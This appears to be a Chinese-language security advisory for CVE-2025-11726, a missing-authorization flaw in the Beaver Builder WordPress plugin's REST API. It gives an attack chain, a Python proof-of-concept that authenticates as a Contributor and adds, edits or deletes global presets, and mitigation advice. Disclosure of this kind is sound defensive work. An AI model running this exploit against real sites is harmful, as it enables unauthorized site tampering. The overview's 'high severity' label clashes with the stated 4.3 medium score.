IPBUF安全漏洞报告
English
CVE-2025-11726 CVSS 4.3 中危

CVE-2025-11726 | WordPress Beaver Builder插件授权缺失漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-11726
漏洞类型
授权缺失 (Missing Authorization)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Beaver Builder – WordPress Page Builder

相关标签

授权缺失WordPressBeaver BuilderREST APIBroken Access ControlCVE-2025-11726插件漏洞权限绕过

漏洞概述

CVE-2025-11726是WordPress平台下Beaver Builder页面构建器插件的一个高危安全漏洞。该漏洞属于授权缺失类漏洞(Missing Authorization/Broken Access Control),存在于插件的REST API接口中。攻击者利用此漏洞可以绕过正常的权限检查,对站点的全局预设进行未授权的增删改操作。具体来说,漏洞源于'fl-controls/v1'命名空间下的REST API端点缺少充分的能力检查(capability checks)。Beaver Builder是一款广泛使用的WordPress页面构建插件,全球有数百万网站使用。攻击者只需拥有贡献者(Contributor)级别或更高的账户权限,即可对全局颜色预设和背景预设进行操作,这些更改将影响整个Beaver Builder站点的所有内容。攻击者可利用此漏洞篡改网站视觉样式、插入恶意内容或导致网站显示异常。此漏洞于2025年12月2日披露,建议用户立即更新至2.9.5或更高版本。

技术细节

漏洞根源在于Beaver Builder插件的class-fl-controls.php文件中,REST API端点(fl-controls/v1命名空间)未对用户权限进行充分验证。具体问题出现在两个关键位置:class-fl-controls.php的第53行和第252行附近。正常情况下,管理全局预设应仅限管理员权限,但代码中存在缺陷,导致任何已认证用户(Contributor角色及以上)都能调用相关API接口。攻击者可通过发送特制的HTTP请求到/wp-json/fl-controls/v1/端点来利用此漏洞。典型的攻击场景包括:使用POST请求添加恶意全局预设、使用PUT请求修改现有预设、使用DELETE请求删除预设。由于这些预设会被全局应用,攻击者可通过修改颜色或背景预设来破坏网站外观,或在特定条件下注入恶意内容。CVSS 3.1向量显示该漏洞攻击复杂度低(AC:L),无需用户交互(UI:N),但对机密性和完整性仅有轻微影响(C:L/I:L),可用性不受影响(A:N)。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress Contributor账户凭据
STEP 2
步骤2
攻击者使用凭据获取JWT认证令牌
STEP 3
步骤3
攻击者向/wp-json/fl-controls/v1/presets发送恶意POST请求
STEP 4
步骤4
由于缺少权限检查,请求成功执行,恶意预设被添加到数据库
STEP 5
步骤5
全局预设被应用到所有Beaver Builder构建的页面,导致网站外观被篡改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
''' CVE-2025-11726 PoC - Beaver Builder Missing Authorization Target: WordPress site with Beaver Builder plugin <= 2.9.4 Authentication: Contributor+ role required ''' import requests import json import sys # Configuration TARGET_URL = "https://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" # API Endpoints under fl-controls/v1 namespace API_BASE = f"{TARGET_URL}/wp-json/fl-controls/v1" def get_auth_token(): """Get WordPress REST API authentication token""" login_url = f"{TARGET_URL}/wp-json/jwt-auth/v1/token" data = {"username": USERNAME, "password": PASSWORD} response = requests.post(login_url, json=data) if response.status_code == 200: return response.json().get("token") return None def add_global_preset(token): """Add malicious global color preset - unauthorized action""" headers = {"Authorization": f"Bearer {token}"} preset_data = { "type": "color", "name": "Malicious Preset", "value": "#malicious_color" } response = requests.post( f"{API_BASE}/presets", headers=headers, json=preset_data ) return response def modify_global_preset(token, preset_id): """Modify existing global preset - unauthorized action""" headers = {"Authorization": f"Bearer {token}"} update_data = { "name": "Modified Preset", "value": "#modified_color" } response = requests.put( f"{API_BASE}/presets/{preset_id}", headers=headers, json=update_data ) return response def delete_global_preset(token, preset_id): """Delete global preset - unauthorized action""" headers = {"Authorization": f"Bearer {token}"} response = requests.delete( f"{API_BASE}/presets/{preset_id}", headers=headers ) return response def main(): print("[*] CVE-2025-11726 PoC - Beaver Builder Authorization Bypass") token = get_auth_token() if not token: print("[-] Authentication failed") sys.exit(1) print("[+] Authenticated successfully with Contributor role") # Add malicious preset resp = add_global_preset(token) if resp.status_code in [200, 201]: print("[+] Successfully added malicious global preset (Unauthorized!)") print(f"[*] Response: {resp.json()}") else: print(f"[-] Failed to add preset: {resp.status_code}") if __name__ == "__main__": main()

影响范围

Beaver Builder WordPress Page Builder <= 2.9.4

防御指南

临时缓解措施
如果无法立即升级,可通过在Web服务器层面添加规则,限制非管理员用户对/wp-json/fl-controls/v1/*端点的访问。也可使用WordPress安全插件(如Wordfence)添加临时防火墙规则阻止针对该端点的恶意请求。同时监控wp_fl_presets数据库表的可疑更改记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表